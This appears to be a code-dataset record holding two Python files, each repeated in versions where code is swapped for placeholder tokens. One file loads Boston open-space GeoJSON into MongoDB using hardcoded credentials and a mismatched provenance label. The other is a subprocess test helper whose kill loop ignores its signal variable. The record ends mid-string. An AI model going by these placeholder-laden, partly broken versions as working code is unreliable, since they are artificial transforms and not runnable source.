\n\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n \n doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space)\n \n repo.logout() \n return doc\n\n\n\n\n\n\n# retrieve_open_space.execute()\n# doc = retrieve_open_space.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))\n\n## eof\n", "import urllib.request\nimport json\nimport dml, prov.model\nimport datetime, uuid\nimport geojson\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n", "<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n", "<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n", "<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n", "<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n", "<import token>\n<docstring token>\n<class token>\n" ]
false
9,915
7f220a970d65a91228501f7db59089e6c0604fb5
# -*- coding: utf-8 -*- import os import sys import socket import signal import functools import atexit import tempfile from subprocess import Popen, PIPE, STDOUT from threading import Thread from queue import Queue, Empty from time import sleep import json from .exceptions import CommandError, TimeoutWaitingFor ON_POSIX = 'posix' in sys.builtin_module_names # Directory relative to basetest module location CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) # Location of binary files (usually the src/ folder) BIN_PREFIX = os.path.abspath( os.path.join(CURRENT_DIR, "..", "..", "src") ) # Default location of test certificates DEFAULT_CERT_PATH = os.path.abspath( os.path.join(CURRENT_DIR, "..", "test_certs") ) # Default location of test extensions DEFAULT_EXTENSION_PATH = os.path.abspath( os.path.join(CURRENT_DIR, "..", "test_extensions") ) # Environment flags to control skipping of shared tests SHARED_SKIP = os.environ.get("SHARED_SKIP", False) # Environment flags to control use of PATH or in-tree binaries SHARED_USE_PATH = os.environ.get("SHARED_USE_PATH", False) UUID_REGEXP = ("[0-9A-Fa-f]{8}-" + ("[0-9A-Fa-f]{4}-" * 3) + "[0-9A-Fa-f]{12}") def shared_binary_location(cmd="shared"): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) return binary_location(cmd, SHARED_USE_PATH) def binary_location(cmd, USE_PATH=False): """ ../src/ is used by default. """ return os.path.join(BIN_PREFIX, cmd) def wait_condition(cond, timeout=1, sleeptime=.01): """Wait for condition to return anything other than None """ # NOTE Increasing sleeptime can dramatically increase testsuite runtime # It also reduces CPU load significantly if timeout is None: timeout = 1 if timeout < sleeptime: print("Warning, timeout cannot be smaller than", sleeptime) timeout = sleeptime # Max number of attempts until giving up tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val def wait_process(pid, timeout=None): """Wait for process to finish """ def process(): try: os.kill(pid, 0) except OSError: # Process is dead return True else: # Process is still ticking return None return wait_condition(process, timeout) def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments["process"] input = arguments["input"] try: proc = Popen(**kwargs) except OSError as e: # pid None is read by the main thread as a crash of the process pidq.put(None) outputq.put(( "", ("Unexpected exception caught during execution: '{0}' . ".format(e)), 255)) # false exitcode return # Put the PID in the queue for main process to know. pidq.put(proc.pid) # Send input and wait for finish out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') # Give the output back to the caller outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ # Try to join the thread on failure abort thread.join(timeout) if thread.isAlive(): # Join should have killed the thread. This is unexpected raise TimeoutWaitingFor(thread_error + ". Unexpected error") # Thread died so we should have output try: # data = (stdout, stderr, exitcode) data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor("streams from program") return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ # NOTE Increase this value if tests fail with None being received as # stdout/stderr instead of the expected content output_timeout = 0.1 # seconds pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None # Process crashed or timed out for some reason if pid is None: return _retrieve_output(t, output_timeout, outputq, "Program to start") # Wait for process to finish (normal execution) state = wait_process(pid, timeout) if state: # Process finished return _retrieve_output(t, output_timeout, outputq, "Program thread to join") # If we reach this point we assume the process got stuck or timed out for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): # Start with lower signals and escalate if process ignores them try: os.kill(pid, signal.SIGABRT) except OSError as e: # 3 means the process finished/died between last check and now if e.errno != 3: raise # Wait for process to finish (should die/exit after signal) state = wait_process(pid, timeout) if state: # Process finished return _retrieve_output(t, output_timeout, outputq, "Program to die") # This should never happen but in case something goes really bad raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=False, env=os.environ, timeout=None): "Run a subprocess and wait for it to finish" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = { "process": { "args": cmd, "stdin": stdin, "stdout": stdout, "stderr": stderr, "bufsize": 1, "close_fds": ON_POSIX, "env": env, }, "input": input, } out, err, exit = _get_output(arguments, timeout) if merge_streams: if exit != 0: raise CommandError(cmd, exit, out) else: return exit, out else: if exit != 0: raise CommandError(cmd, exit, out, err) else: return exit, out, err def run_cmd_wait_nofail(*args, **kwargs): """Same as run_cmd_wait but silence the exception if it happens""" try: return run_cmd_wait(*args, **kwargs) except CommandError as e: return e.code, e.out, e.err def memoize(obj): """Keep an in-memory cache of function results given its inputs """ cache = obj.cache = {} @functools.wraps(obj) def memoizer(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = obj(*args, **kwargs) return cache[key] return memoizer from shutil import which which = memoize(which) def parse_datafile(file): """Parse .data files, treating files as JSON """ data = [] with open(file) as fh: for line in fh: line = line.rstrip("\n") # Turn [] strings into {} to be treated properly as JSON hashes if line.startswith('[') and line.endswith(']'): line = '{' + line[1:-1] + '}' if line.startswith("{"): data.append(json.loads(line)) else: data.append(line) return data def mkstemp(data): """ Create a temporary file that is removed at process exit """ def rmtemp(name): try: os.remove(name) except OSError: pass f = tempfile.NamedTemporaryFile(delete=False) f.write(data) f.close() # Ensure removal at end of python session atexit.register(rmtemp, f.name) return f.name def mkstemp_exec(data): """Create a temporary executable file that is removed at process exit """ name = mkstemp(data) os.chmod(name, 0o755) return name # vim: ai sts=4 et sw=4
[ "# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport socket\nimport signal\nimport functools\nimport atexit\nimport tempfile\nfrom subprocess import Popen, PIPE, STDOUT\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom time import sleep\nimport json\nfrom .exceptions import CommandError, TimeoutWaitingFor\n\nON_POSIX = 'posix' in sys.builtin_module_names\n\n# Directory relative to basetest module location\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\n\n# Location of binary files (usually the src/ folder)\nBIN_PREFIX = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"..\", \"src\")\n)\n\n# Default location of test certificates\nDEFAULT_CERT_PATH = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"test_certs\")\n)\n\n# Default location of test extensions\nDEFAULT_EXTENSION_PATH = os.path.abspath(\n os.path.join(CURRENT_DIR, \"..\", \"test_extensions\")\n)\n\n\n# Environment flags to control skipping of shared tests\nSHARED_SKIP = os.environ.get(\"SHARED_SKIP\", False)\n# Environment flags to control use of PATH or in-tree binaries\nSHARED_USE_PATH = os.environ.get(\"SHARED_USE_PATH\", False)\n\nUUID_REGEXP = (\"[0-9A-Fa-f]{8}-\" + (\"[0-9A-Fa-f]{4}-\" * 3) + \"[0-9A-Fa-f]{12}\")\n\n\ndef shared_binary_location(cmd=\"shared\"):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n # NOTE Increasing sleeptime can dramatically increase testsuite runtime\n # It also reduces CPU load significantly\n if timeout is None:\n timeout = 1\n\n if timeout < sleeptime:\n print(\"Warning, timeout cannot be smaller than\", sleeptime)\n timeout = sleeptime\n\n # Max number of attempts until giving up\n tries = int(timeout / sleeptime)\n\n for i in range(tries):\n val = cond()\n\n if val is not None:\n break\n\n sleep(sleeptime)\n\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n # Process is dead\n return True\n else:\n # Process is still ticking\n return None\n\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments[\"process\"]\n input = arguments[\"input\"]\n\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n # pid None is read by the main thread as a crash of the process\n pidq.put(None)\n\n outputq.put((\n \"\",\n (\"Unexpected exception caught during execution: '{0}' . \".format(e)),\n 255)) # false exitcode\n\n return\n\n # Put the PID in the queue for main process to know.\n pidq.put(proc.pid)\n\n # Send input and wait for finish\n out, err = proc.communicate(input)\n\n out, err = out.decode('utf-8'), err.decode('utf-8')\n\n # Give the output back to the caller\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n # Try to join the thread on failure abort\n thread.join(timeout)\n if thread.isAlive():\n # Join should have killed the thread. This is unexpected\n raise TimeoutWaitingFor(thread_error + \". Unexpected error\")\n\n # Thread died so we should have output\n try:\n # data = (stdout, stderr, exitcode)\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor(\"streams from program\")\n\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n # NOTE Increase this value if tests fail with None being received as\n # stdout/stderr instead of the expected content\n output_timeout = 0.1 # seconds\n\n pidq = Queue()\n outputq = Queue()\n\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n\n # Process crashed or timed out for some reason\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq,\n \"Program to start\")\n\n # Wait for process to finish (normal execution)\n state = wait_process(pid, timeout)\n\n if state:\n # Process finished\n return _retrieve_output(t, output_timeout, outputq,\n \"Program thread to join\")\n\n # If we reach this point we assume the process got stuck or timed out\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n # Start with lower signals and escalate if process ignores them\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n # 3 means the process finished/died between last check and now\n if e.errno != 3:\n raise\n\n # Wait for process to finish (should die/exit after signal)\n state = wait_process(pid, timeout)\n\n if state:\n # Process finished\n return _retrieve_output(t, output_timeout, outputq,\n \"Program to die\")\n\n # This should never happen but in case something goes really bad\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE,\n merge_streams=False, env=os.environ, timeout=None):\n \"Run a subprocess and wait for it to finish\"\n\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n\n arguments = {\n \"process\": {\n \"args\": cmd,\n \"stdin\": stdin,\n \"stdout\": stdout,\n \"stderr\": stderr,\n \"bufsize\": 1,\n \"close_fds\": ON_POSIX,\n \"env\": env,\n },\n \"input\": input,\n }\n out, err, exit = _get_output(arguments, timeout)\n\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n else:\n if exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\nfrom shutil import which\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip(\"\\n\")\n\n # Turn [] strings into {} to be treated properly as JSON hashes\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n\n if line.startswith(\"{\"):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n\n # Ensure removal at end of python session\n atexit.register(rmtemp, f.name)\n\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 0o755)\n\n return name\n\n# vim: ai sts=4 et sw=4\n", "import os\nimport sys\nimport socket\nimport signal\nimport functools\nimport atexit\nimport tempfile\nfrom subprocess import Popen, PIPE, STDOUT\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom time import sleep\nimport json\nfrom .exceptions import CommandError, TimeoutWaitingFor\nON_POSIX = 'posix' in sys.builtin_module_names\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\nBIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src'))\nDEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_certs'))\nDEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_extensions'))\nSHARED_SKIP = os.environ.get('SHARED_SKIP', False)\nSHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False)\nUUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}'\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\nfrom shutil import which\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\nON_POSIX = 'posix' in sys.builtin_module_names\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\nBIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src'))\nDEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_certs'))\nDEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',\n 'test_extensions'))\nSHARED_SKIP = os.environ.get('SHARED_SKIP', False)\nSHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False)\nUUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}'\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot 